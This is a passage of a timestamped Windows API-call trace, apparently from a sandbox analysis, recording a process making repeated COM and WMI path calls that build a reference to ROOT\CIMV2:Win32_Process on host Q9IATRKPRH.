rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf11a60) returned 0x0 [0068.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11a60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0068.583] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11a60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b7e0) returned 0x0 [0068.583] WbemDefPath:IUnknown:Release (This=0x1bf11a60) returned 0x0 [0068.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b7e0) returned 0x0 [0068.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0068.584] WbemDefPath:IUnknown:AddRef (This=0x119b7e0) returned 0x3 [0068.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0068.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0068.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf11a00) returned 0x0 [0068.584] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11a00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.584] WbemDefPath:IUnknown:Release (This=0x1bf11a00) returned 0x3 [0068.584] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0068.584] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0068.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0068.584] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x2 [0068.584] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x1 [0068.584] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0068.584] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0068.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b7e0) returned 0x0 [0068.584] WbemDefPath:IUnknown:AddRef (This=0x119b7e0) returned 0x3 [0068.584] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x2 [0068.584] WbemDefPath:IWbemPath:SetText (This=0x119b7e0, uMode=0x4, pszPath="") returned 0x0 [0068.584] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b7e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0068.584] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0068.584] WbemDefPath:IWbemPath:GetClassName (in: This=0x119b7e0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0068.584] WbemDefPath:IWbemPath:GetServer (in: This=0x119b7e0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0068.584] WbemDefPath:IWbemPath:SetServer (This=0x119b7e0, Name="Q9IATRKPRH") returned 0x0 [0068.584] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0068.585] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0068.585] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0068.585] IUnknown:Release (This=0x111f638) returned 0x1 [0068.586] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf11a20) returned 0x0 [0068.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11a20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0068.586] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11a20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b720) returned 0x0 [0068.587] WbemDefPath:IUnknown:Release (This=0x1bf11a20) returned 0x0 [0068.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b720) returned 0x0 [0068.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0068.587] WbemDefPath:IUnknown:AddRef (This=0x119b720) returned 0x3 [0068.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0068.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0068.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf11900) returned 0x0 [0068.587] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11900, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.587] WbemDefPath:IUnknown:Release (This=0x1bf11900) returned 0x3 [0068.587] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0068.587] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0068.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0068.587] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x2 [0068.587] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x1 [0068.587] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0068.587] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0068.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b720) returned 0x0 [0068.588] WbemDefPath:IUnknown:AddRef (This=0x119b720) returned 0x3 [0068.588] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x2 [0068.588] WbemDefPath:IWbemPath:SetText (This=0x119b720, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b7e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b720, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetText (in: This=0x119b720, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetText (in: This=0x119b720, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0068.588] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119b7e0) returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b720, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b720, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b720, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0068.588] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119b7e0, uIndex=0x0, pszName="ROOT") returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b720, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b720, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0068.588] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119b7e0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetClassName (in: This=0x119b7e0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0068.588] WbemDefPath:IWbemPath:SetClassName (This=0x119b7e0, Name="Win32_Process") returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b7e0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b7e0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0068.588] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0068.589] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0068.589] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b7e0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0068.589] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b7e0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0068.589] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0068.589] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0068.589] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bae0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0068.589] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0068.589] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0068.589] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0068.589] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0068.589] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0068.589] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0068.589] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0068.589] IUnknown:Release (This=0x111f638) returned 0x1 [0068.591] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf11760) returned 0x0 [0068.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11760, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0068.591] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11760, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x119b660) returned 0x0 [0068.591] WbemDefPath:IUnknown:Release (This=0x1bf11760) returned 0x0 [0068.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x119b660) returned 0x0 [0068.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0068.591] WbemDefPath:IUnknown:AddRef (This=0x119b660) returned 0x3 [0068.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0068.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0068.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf117a0) returned 0x0 [0068.592] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf117a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.592] WbemDefPath:IUnknown:Release (This=0x1bf117a0) returned 0x3 [0068.592] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0068.592] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0068.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0068.592] WbemDefPath:IUnknown:Release (This=0x119b660) returned 0x2 [0068.592] WbemDefPath:IUnknown:Release (This=0x119b660) returned 0x1 [0068.592] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0068.592] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0068.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x119b660) returned 0x0 [0068.592] WbemDefPath:IUnknown:AddRef (This=0x119b660) returned 0x3 [0068.592] WbemDefPath:IUnknown:Release (This=0x119b660) returned 0x2 [0068.592] WbemDefPath:IWbemPath:SetText (This=0x119b660, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0068.592] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bae0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0068.592] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0068.592] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.592] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0068.592] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0068.592] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0068.592] IUnknown:Release (This=0x111f638) returned 0x1 [0068.594] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf116c0) returned 0x0 [0068.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf116c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0068.594] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf116c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b4e0) returned 0x0 [0068.594] WbemDefPath:IUnknown:Release (This=0x1bf116c0) returned 0x0 [0068.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b4e0) returned 0x0 